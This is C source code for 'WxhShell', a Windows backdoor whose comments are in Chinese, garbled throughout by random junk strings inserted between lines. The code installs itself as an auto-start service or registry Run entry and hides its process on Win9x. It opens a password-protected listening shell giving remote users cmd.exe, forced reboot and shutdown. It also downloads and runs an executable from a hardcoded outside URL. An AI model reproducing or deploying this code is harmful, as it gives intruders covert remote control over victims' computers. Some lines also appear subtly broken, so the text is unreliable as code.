vef PROCNTQSIP NtQueryInformationProcess; Dl@Jj?zc `br$kB static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U*4r<y9R static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sm"s2Ci=} ,0a\Ka{^ HANDLE hProcess; *}) W> PROCESS_BASIC_INFORMATION pbi; 7!Qu+R Z0%:j\W4c HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4i7+'F if(NULL == hInst ) return 0; qWM+!f 5Mz:$5Tm g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1]69S( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kf1NMin7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +\]Gu(z< )M><09 if (!NtQueryInformationProcess) return 0; DS=$*
Trk \{v e6`7Rn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #MFIsx)r if(!hProcess) return 0; =;"=o5g_ lhC hk7l if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PdtL
Cgd 1xI CloseHandle(hProcess); $C{,`{= _ee<i8_Va hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y*%uGG5 if(hProcess==NULL) return 0; Wh)!Ha} f@[qS7ok HMODULE hMod; R$X~d8o>% char procName[255]; %Ai' 6 unsigned long cbNeeded; _&%FGcAS T@A Qe[U'v if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *:"@ mv7W03 CloseHandle(hProcess); />6ECT &~=r .T if(strstr(procName,"services")) return 1; // 以服务启动 Zm0' p! 5] LfJh+"n return 0; // 注册表启动 ,Qs%bq{t } LcZ|A;it "T9UedZ // 主模块 !2h ZtX int StartWxhshell(LPSTR lpCmdLine) Gk]ZP31u { t{s*,X\b SOCKET wsl; k!Q{u2 BOOL val=TRUE; eR0$CTSw int port=0; flT6y-d struct sockaddr_in door; .+,U9e:% "9 f+F if(wscfg.ws_autoins) Install(); "([/G?QAG h+ud[atk. port=atoi(lpCmdLine); Z?xRSi2~7 IVY)pS"pR" if(port<=0) port=wscfg.ws_port; @{W"mc+ |kP utB WSADATA data; u"4B5D if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Evd|_ W- cPv(VjS1; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; axpZ`BUc setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )+R n[MMp door.sin_family = AF_INET; @S=9@3m{w; door.sin_addr.s_addr = inet_addr("127.0.0.1"); K`2(Q door.sin_port = htons(port); hJsP;y:@Lm UWidT+'Sa if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =3 Vug2*wd closesocket(wsl);
\ 'Va(}v return 1; 'ZB^=T } ()48> || &gPP#D6A if(listen(wsl,2) == INVALID_SOCKET) { &O^-,n closesocket(wsl); [q Uv|l1 return 1; vxHFNGI } r!
HXhl Wxhshell(wsl); iGkysU<wcp WSACleanup(); le]~Cy0 x x4GP2 return 0; N#2ldY * nwh @F1| } ^sB0$|DU &a;?o~%*]i // 以NT服务方式启动 /-,\$@J5) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M(zZ8# { Z`u$#<ukX DWORD status = 0; xP!QV~$> DWORD specificError = 0xfffffff; r*]pL< eIfQ
TV serviceStatus.dwServiceType = SERVICE_WIN32; U8AH,?]# serviceStatus.dwCurrentState = SERVICE_START_PENDING; O`Gq7=X serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vaGF(hfTA serviceStatus.dwWin32ExitCode = 0; N@L{9ak1 serviceStatus.dwServiceSpecificExitCode = 0; -sfv"? serviceStatus.dwCheckPoint = 0; ;}j(x;l>t serviceStatus.dwWaitHint = 0; w7o`BR 2 U]d1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r34MDUZdI if (hServiceStatusHandle==0) return; Id##367R P/dnH status = GetLastError(); 31@Lr[! if (status!=NO_ERROR) c~?Zmdn: { r`.N? serviceStatus.dwCurrentState = SERVICE_STOPPED; [IQ|c?DxpL serviceStatus.dwCheckPoint = 0; q+y\pdhdO serviceStatus.dwWaitHint = 0; &'x~<rx serviceStatus.dwWin32ExitCode = status; Rh?bBAn8 serviceStatus.dwServiceSpecificExitCode = specificError; ~y2zl SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Jio_Hk return; ]Ob|!L( } u;gO+)wqv ##*]2Dy serviceStatus.dwCurrentState = SERVICE_RUNNING; G %6P`: serviceStatus.dwCheckPoint = 0; hg(<>_~ serviceStatus.dwWaitHint = 0; uTxa5j if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *Ud(HMTe } P0jr>j@^- yB2h/~+ // 处理NT服务事件,比如:启动、停止 p.SipQ.P VOID WINAPI NTServiceHandler(DWORD fdwControl) :t]HY2 { L_NiU;cr% switch(fdwControl) e[fOm0^.c { *B"Y]6$ case SERVICE_CONTROL_STOP: ylKK!vRHT serviceStatus.dwWin32ExitCode = 0; v$W[( serviceStatus.dwCurrentState = SERVICE_STOPPED; J6AHc"k. serviceStatus.dwCheckPoint = 0; `(sb serviceStatus.dwWaitHint = 0; [YfoQ1 { N);w~)MYh SetServiceStatus(hServiceStatusHandle, &serviceStatus); wOl?(w=| } :Iv;%a0 - return; ksOGCd^G7 case SERVICE_CONTROL_PAUSE: 6JDHwV serviceStatus.dwCurrentState = SERVICE_PAUSED; hd(FOKOP break; `x#Ud)g case SERVICE_CONTROL_CONTINUE: @)?]u
U"L serviceStatus.dwCurrentState = SERVICE_RUNNING; ?
T6K]~g break; );\c{QF case SERVICE_CONTROL_INTERROGATE: AQlB_@ b break; &(rWl`eTY` }; FT@uZWgQ= SetServiceStatus(hServiceStatusHandle, &serviceStatus); M
9t7y } b.&WW rtRbr_ // 标准应用程序主函数 :x)H!z
P int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &)%+DUV| { H<Oo./8+ lUm(iYv;H // 获取操作系统版本 VN0We<\Z OsIsNt=GetOsVer(); CwA_jOp GetModuleFileName(NULL,ExeFile,MAX_PATH); ViPC Yt`of \=AA,Il // 从命令行安装 'J|)4OG: if(strpbrk(lpCmdLine,"iI")) Install(); .B#
.
(Q^sK\ // 下载执行文件 DK)W
,z| if(wscfg.ws_downexe) { K^shT h8k if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4hL%J=0: WinExec(wscfg.ws_filenam,SW_HIDE); Yf w>x[#e } _\}'5nmw\
d,V#5l-6 if(!OsIsNt) { :$MOdL[ir // 如果时win9x,隐藏进程并且设置为注册表启动 I6W`yh`I) HideProc(); z1PwupXt1 StartWxhshell(lpCmdLine); <Kd(fFe } Q +^& else V&M*,#(? if(StartFromService()) 3'0Pl8 // 以服务方式启动 _rT\?//B StartServiceCtrlDispatcher(DispatchTable); CubQ6@, else ]:<!( // 普通方式启动 h[ DNhR StartWxhshell(lpCmdLine); T{k
P9
4 <v:VA!] return 0; 5ilGWkb`'X } tnRf!A;m oJz2-PmX n|w+08c" 3!"N;Q" =========================================== 9\?OV@ B `~EA] d ^Xk!wJ g* q#VmE P[nc8z[
~[g(@Xt " 21uK&nVf^l OSgJj MQ #include <stdio.h> )'_[R@ThB #include <string.h> b(H{i}{] #include <windows.h> /4:bx#;A #include <winsock2.h> q$Gs;gz^( #include <winsvc.h> B0fOAP1 #include <urlmon.h> MtLWpi u@[ ]gk1q{Ql< #pragma comment (lib, "Ws2_32.lib") ze+YQF #pragma comment (lib, "urlmon.lib") zfIo]M` yn4T!r " #define MAX_USER 100 // 最大客户端连接数 xM*_1+<dT$ #define BUF_SOCK 200 // sock buffer :
\+xXb{ #define KEY_BUFF 255 // 输入 buffer >XD?zF)6 {3~VLdy #define REBOOT 0 // 重启 ?\}Gi(VVE #define SHUTDOWN 1 // 关机 uN|A}/hr] `g)}jo`W #define DEF_PORT 5000 // 监听端口 Bt+^H6cb MMM
tB6 #define REG_LEN 16 // 注册表键长度 7L{1S
v #define SVC_LEN 80 // NT服务名长度 `ONjEl b_0THy.Z // 从dll定义API Xz+%Ym typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *o6}>; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e~o!Qm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AjC:E+g typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :t}\%%EbmE R'Sd'pSDN // wxhshell配置信息 h)KHc/S struct WSCFG { jEc_!Q int ws_port; // 监听端口 SepjF char ws_passstr[REG_LEN]; // 口令 K:PH:e int ws_autoins; // 安装标记, 1=yes 0=no TlqHj char ws_regname[REG_LEN]; // 注册表键名 DBT4 W/ char ws_svcname[REG_LEN]; // 服务名 "g{q=[U} char ws_svcdisp[SVC_LEN]; // 服务显示名
LK^|JE u char ws_svcdesc[SVC_LEN]; // 服务描述信息 :RaQ
=C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C"{^wy{sL int ws_downexe; // 下载执行标记, 1=yes 0=no aAo|3KCs char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "HMEoZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {keZ_2 1|bXIY.J* }; L$ZjMJ d>NGCe // default Wxhshell configuration 7FB?t<x struct WSCFG wscfg={DEF_PORT, B VBn.ut "xuhuanlingzhe", 8:ubtB 1, Kb.qv)6i* "Wxhshell", D!<F^mtl "Wxhshell", wu41Mz7 "WxhShell Service", vwCQvt "Wrsky Windows CmdShell Service", L.Y3/H_ "Please Input Your Password: ", 8Sbz)X 1, [);oj< "http://www.wrsky.com/wxhshell.exe", DiC z%'N "Wxhshell.exe" q!Du
J }; A~zn; cG|fau<G // 消息定义模块 Y0LZbT3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IkrB} char *msg_ws_prompt="\n\r? for help\n\r#>"; Y-VDi.]W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]z'&oz char *msg_ws_ext="\n\rExit."; E
C?}iP char *msg_ws_end="\n\rQuit."; =Tj{)=^/# char *msg_ws_boot="\n\rReboot..."; g}an
5a char *msg_ws_poff="\n\rShutdown..."; ]?9*Vr:P^ char *msg_ws_down="\n\rSave to "; nL@'??I1 mypV[ char *msg_ws_err="\n\rErr!"; BI'>\hX/V char *msg_ws_ok="\n\rOK!"; cc@W
6W > I2rj2M# char ExeFile[MAX_PATH]; S|85g1}t int nUser = 0; *t@A-Sn HANDLE handles[MAX_USER]; T(J'p4 int OsIsNt; #mxOwvJ !Sc"V.o@! SERVICE_STATUS serviceStatus; CSM"Kz` SERVICE_STATUS_HANDLE hServiceStatusHandle; ]e>qvSuYh 6g(;2gY // 函数声明 bLqy7S9x int Install(void); agIqca; int Uninstall(void); DUp`zW;B int DownloadFile(char *sURL, SOCKET wsh); wk(25(1q int Boot(int flag); HJL! ;i void HideProc(void); ,OE&e*1 int GetOsVer(void); tKbxC>w int Wxhshell(SOCKET wsl); /cjz=r1U> void TalkWithClient(void *cs); %iyc1]w{ int CmdShell(SOCKET sock); 1\}vU int StartFromService(void); FO!Td int StartWxhshell(LPSTR lpCmdLine); 5`;SI36" 4TtC~#D: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3I)~;>meo VOID WINAPI NTServiceHandler( DWORD fdwControl ); N*Y[[N( Fmk:[hMw // 数据结构和表定义 X5 vMY SERVICE_TABLE_ENTRY DispatchTable[] = ,jU>V]YC { GQ2GcX(E( {wscfg.ws_svcname, NTServiceMain}, +^.Yt0} {NULL, NULL} umYsO.8 }; ]so/AdT9hA TxrW69FV7 // 自我安装 I
_nQTWcm int Install(void) "1O_h6C { byHc0ktI\ char svExeFile[MAX_PATH]; i3-5~@M HKEY key; 2)}n"ibbT strcpy(svExeFile,ExeFile); Q*DT" W/0 m\:^9A4HCg // 如果是win9x系统,修改注册表设为自启动 MZgaQU g if(!OsIsNt) { YteIp'T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r,5e/X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mz@{_*2 RegCloseKey(key); Lg:1zC
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wu>]R'C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U2Ve @. RegCloseKey(key); 7e_4sxg'(3 return 0; ~ua(Qm } xIdb9hm< } JrP`u4f_ } )gpN
5TDd else { Gu;40)gm U/>I! 7oe // 如果是NT以上系统,安装为系统服务 7HkO:/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TWP@\ BQ if (schSCManager!=0) &RR;'wLoQT { WQ|Ufl; SC_HANDLE schService = CreateService $^x=i;>aK. ( \!ZA#7 schSCManager, /b+~BvTh wscfg.ws_svcname, "4b{YWv wscfg.ws_svcdisp, I|X`9 SERVICE_ALL_ACCESS, `bP`.Wm SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b(Y
SERVICE_AUTO_START, GM|&,} SERVICE_ERROR_NORMAL, ?QP>rm svExeFile, &4Z8df! NULL, >d 5-if NULL, {`HbpM<=m] NULL, 7qC
/a
c NULL, ;qmnG3;Q NULL ;>,B(Xz4i ); GSA+A7sZ if (schService!=0) -Jv,#Z3 { ~d*Q{v~3 CloseServiceHandle(schService); rwWOhD)RU CloseServiceHandle(schSCManager); [* xdILj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7F`\Gz_2 strcat(svExeFile,wscfg.ws_svcname); k>i88^kPV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S|tD8A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z%~}*F}7X RegCloseKey(key); ^B"LT>.[ return 0; }T_"Vg q } W ?x~"-* } ; _%zf5;' CloseServiceHandle(schSCManager); 5BrN
uR$ } l;-2hZ } Tzd#!Lvm:, |Iy;_8c return 1; {$S"Sj } r^k+D<k[7 m"L^tSD~ // 自我卸载 [REH*_ int Uninstall(void) B:>:$LIL { QPuc{NcB> HKEY key; =svFw&q" JMAdsg/ if(!OsIsNt) { R0t!y3r&N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,e'r 0 RegDeleteValue(key,wscfg.ws_regname); /#9P0@Y RegCloseKey(key); uc9h}QJ* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9>{fsy RegDeleteValue(key,wscfg.ws_regname); `;mgJD RegCloseKey(key); m%9Yo%l~ return 0; _DR@P(0>_ } 7 [e-3 } NSVE3 } " ILF!z else { Xl=RaV^X" $YJ 1P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Mg >%EH/' if (schSCManager!=0) 6{I7=.V { &D<6Go/)_* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >p&"X 2
@ if (schService!=0) &5}YTKe}| { JCH9~n. if(DeleteService(schService)!=0) { UV(`. CloseServiceHandle(schService); x@X2r CloseServiceHandle(schSCManager); q,K|1+jn return 0; G
1{m" 1M } wn"\@Qv G CloseServiceHandle(schService); SY9 5s } "]3o933D CloseServiceHandle(schSCManager); 7a[6@ } zE;|MU@| } BMq> Cj+ "yymnIQ3u return 1; TY/'E#. } 0H rvr hq"nRH // 从指定url下载文件 rzdQLan int DownloadFile(char *sURL, SOCKET wsh) qFVZhBC { LYAGpcG HRESULT hr; <hzHrx'o{ char seps[]= "/"; Cuylozj$& char *token; Dx\~#$S!= char *file; ,t_&tbf3 char myURL[MAX_PATH]; tOXyle~C char myFILE[MAX_PATH]; Ew4D';&; 9z?c0W5x strcpy(myURL,sURL); rvx2{1}I token=strtok(myURL,seps); `;Ui6{| while(token!=NULL) '!$QI@@ { =nHkFi@D=t file=token; p$F`9_bZ token=strtok(NULL,seps); :@p]~{m :G } A}! A*z<9 L@RnLaoQ GetCurrentDirectory(MAX_PATH,myFILE); &%v*%{|j strcat(myFILE, "\\"); vJr,lBHEk strcat(myFILE, file); WiZkIZ send(wsh,myFILE,strlen(myFILE),0); 46M=R-7= send(wsh,"...",3,0); em7L`, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <e&v[ if(hr==S_OK) M19O^P>[ return 0; 0aq{Y7sYU else J+CGhk return 1; foPM5+.G 8-gl$h } lB2F09` 6r^ZMW // 系统电源模块 o>*`wv int Boot(int flag) FoE}j
{ 5>dA7j^v HANDLE hToken; #++:`Z TOKEN_PRIVILEGES tkp; u;%~P 9O 0rX%z$D+@ if(OsIsNt) { nVlZ_72d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4]}d'x& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yC@PMyE] tkp.PrivilegeCount = 1;
H.hKh tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rhYAR r' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ` *hTx|!' if(flag==REBOOT) { EqHToD I3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t<+>E_Xw return 0; alxIc.[ } 0^L:`[W+ else { fx:vhEX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?AO=)XV2 return 0; aeYz;&K } 2./z6jXW_ } EWl9rF@I else { DZ`,QWuA if(flag==REBOOT) { |+~P; fG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O*2{V]Y
@ return 0; +-x+c:
IxA } Lcg1X3$G else {
w@mCQ$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }ub>4N[ return 0; U e-AF# } FYNUap,A } >;G7ty[RX7 z$Z%us>io return 1; LvGo$f/9 } "tb KbFn9 K7$Q. // win9x进程隐藏模块 p]e.E`'S void HideProc(void) * W"Pv,: { xhCNiYJ| qU&v50n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3]\'Q} if ( hKernel != NULL ) J>hjIN { E-X02A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @CPkP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :3se/4y} FreeLibrary(hKernel); 'D[ *|Qcy } -R$ Q`Xw Us6~7L00 return; *Qngx
} %YuFw|wO Ug[0l) // 获取操作系统版本 [ P*L`F int GetOsVer(void) ee<'j~{A { ?<OE|nb& OSVERSIONINFO winfo; ](+u'8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lBG5~<NT GetVersionEx(&winfo); ,S}wOjb@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u#ocx[ return 1; '*U_!RmQ else (e
2.Ru return 0; rXrIGgeM } .dc|?$XV 5n::]Q%=D // 客户端句柄模块 M6[O>z int Wxhshell(SOCKET wsl) j<?k$8H {
8`<3rj SOCKET wsh; bHDZ=Ik struct sockaddr_in client; ZSwhI@| DWORD myID; ASS<XNP 80U(q/H%9 while(nUser<MAX_USER) )Zvn{ { $?&distJ int nSize=sizeof(client); !(_qM wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r-hb]!t if(wsh==INVALID_SOCKET) return 1; nS!m1&DeD 3cH^
,F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5uM`4xkj if(handles[nUser]==0) vQ5rhRG)E closesocket(wsh); 0LWV.OIIC else PywUPsJ nUser++; \O>;,(>i } <UW-fI)X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n2opy8J#!
tB0f+ wC return 0; SphP@J<ONW } w\JTMS$ *Xu?(Jd // 关闭 socket =`qEwA void CloseIt(SOCKET wsh) rB =c { pW<l9W closesocket(wsh); EP{ji"/7[ nUser--; AB.ZmR9| ExitThread(0); `:gXQmt } ;%/}(&E2 oJc v D // 客户端请求句柄 ?,r}@89pY void TalkWithClient(void *cs) Qj9'VI>& { SG)|4$" ~. 5[ SOCKET wsh=(SOCKET)cs; n}J!?zZc char pwd[SVC_LEN]; A2nL=9~
char cmd[KEY_BUFF]; xn<x/e char chr[1]; w\>@>*E> int i,j; Gbb*p+( wemhP8!gc while (nUser < MAX_USER) { dsZ-|C KctbNMU]k if(wscfg.ws_passstr) { [TmZ\t!5$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `$] ZT>& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \uOR1z //ZeroMemory(pwd,KEY_BUFF); _BND{MsX i=0; _y9NDLRs8 while(i<SVC_LEN) { JPe<qf- 9'O@8KB_ // 设置超时 \k%j fd_set FdRead; RPTIDA)) struct timeval TimeOut; u0Opn=(_ FD_ZERO(&FdRead); 8J0#lu FD_SET(wsh,&FdRead); Cyp%E5b7 TimeOut.tv_sec=8; 'Y5l3xQk TimeOut.tv_usec=0; %PM8;] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WQNFHRfO*n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {%v{iE> %bB:I1V\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~T\:".C pwd=chr[0]; :w9s bW if(chr[0]==0xd || chr[0]==0xa) { 4='/]z pwd=0; RAoY`AWI break; q:P44`Aq } rVb61$ i++; }ho6 } B|kIiL63
D q!) nSD // 如果是非法用户,关闭 socket A{wSO./3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5eX+9niY } i)MJP *
`_.(qg send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ej]>*n send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Fa~l'G7X cx+%lco! while(1) { TxmKmZ u aB~=WWLR\ ZeroMemory(cmd,KEY_BUFF); P?M WT]fY Hg+bmwM // 自动支持客户端 telnet标准 8^qLGUxz j=0; 10..<v7 while(j<KEY_BUFF) { R5rCCp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l7S&s&W @ cmd[j]=chr[0]; =BgQSs/^c if(chr[0]==0xa || chr[0]==0xd) { Nk$OTDwP cmd[j]=0; z?g\w6 break; 5NhwIu^< } '+\.&'A j++; }N#hg>;
B } ft Rza 9:CM#N~?o // 下载文件 q=/ck if(strstr(cmd,"http://")) { O.'\GM send(wsh,msg_ws_down,strlen(msg_ws_down),0); dQPW9~g8Hg if(DownloadFile(cmd,wsh)) HAGpM\Qa send(wsh,msg_ws_err,strlen(msg_ws_err),0); @l&>C#K\ else :cE~\BS& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `j(-y`fo } a*{ -r] else { pa6-3c z5IdYF? switch(cmd[0]) { c~n:xblv <):= mr7 // 帮助 ;
Ne|H$N case '?': { Y2P%0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S!.H _=z%p break; <iznB8@ } oz?pE[[tm // 安装 W< :7z case 'i': { 4w(#`'I> if(Install()) YjwC8#$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); [UYE.$Y#( else PG'+vl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \t%rIr break;
m7.6;k. } +{H0$4y // 卸载 \WZ]'o6 case 'r': { Wt9'-"c if(Uninstall()) 7G
&I]> send(wsh,msg_ws_err,strlen(msg_ws_err),0); @LR :^>&* else ^ub@Jwe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N&-J,p~ break; sB%QqFRP } vuNq7V*} // 显示 wxhshell 所在路径 NekPl/4 case 'p': { |E9iG char svExeFile[MAX_PATH];
{_>}K strcpy(svExeFile,"\n\r"); .WTar9e# strcat(svExeFile,ExeFile); 4{Af 3N send(wsh,svExeFile,strlen(svExeFile),0); qI5`:PH%n break; ^z}$'<D9 } M}xyW"yp // 重启 C *U,$8j|} case 'b': { cP`[/5R send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H+F># if(Boot(REBOOT)) S3.76& send(wsh,msg_ws_err,strlen(msg_ws_err),0); geSH3I
else { }(Dt,F` closesocket(wsh); *_!}g
] ExitThread(0); h5VZ-v_j } >):^Zs break; ^*_|26 } 3.<E{E!F // 关机 ctu`FQ case 'd': { xjg(}w send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "P@oO,. if(Boot(SHUTDOWN)) &u~#bDh send(wsh,msg_ws_err,strlen(msg_ws_err),0); clO9l=g else { h!q_''*; closesocket(wsh); oS Apa ExitThread(0); <t"|wYAa_ } IO}53zn<l break; ><3!J+<? } D:vX/mf;7 // 获取shell ~mK|~x01@ case 's': { 9 Aq\1QC CmdShell(wsh); $I:&5 o i closesocket(wsh); Y>Tok|PV ExitThread(0); "=3bL>\< break; 0`%Ask } We?cRb // 退出 g]E>e v{` case 'x': { CH+mzy send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GLE"[!s]f CloseIt(wsh); K *xca(6 break; ,7mB`0j> } XCUU(H // 离开 ^QTtCt^: case 'q': { TIYo&?Z) send(wsh,msg_ws_end,strlen(msg_ws_end),0); jltW@co2sV closesocket(wsh); Y;[+ ^J*a WSACleanup(); o2e gNTG exit(1); b_rHt
s break; v2;'F } dxK3462 } |h* rkLY } b[os0D95 RgTrj // 提示信息 o%sx(g=q6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'jj|bN } xmNs<mz } e]q(fPK 8m"jd+ return; '4]_~?&x } =dDr:Y<@* r0(* ]K:. // shell模块句柄 >N8*O3 int CmdShell(SOCKET sock) \zx$]|AQ { |cIv&\ x STARTUPINFO si; 8c^Hfjr0 ZeroMemory(&si,sizeof(si)); \<0xg[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c01i!XS si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G7uYkJO PROCESS_INFORMATION ProcessInfo; bTbF char cmdline[]="cmd"; UNJAfr P CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hG8<@ return 0; lNba[;_ } bK#SxV $
n"*scyI // 自身启动模式 wjc& |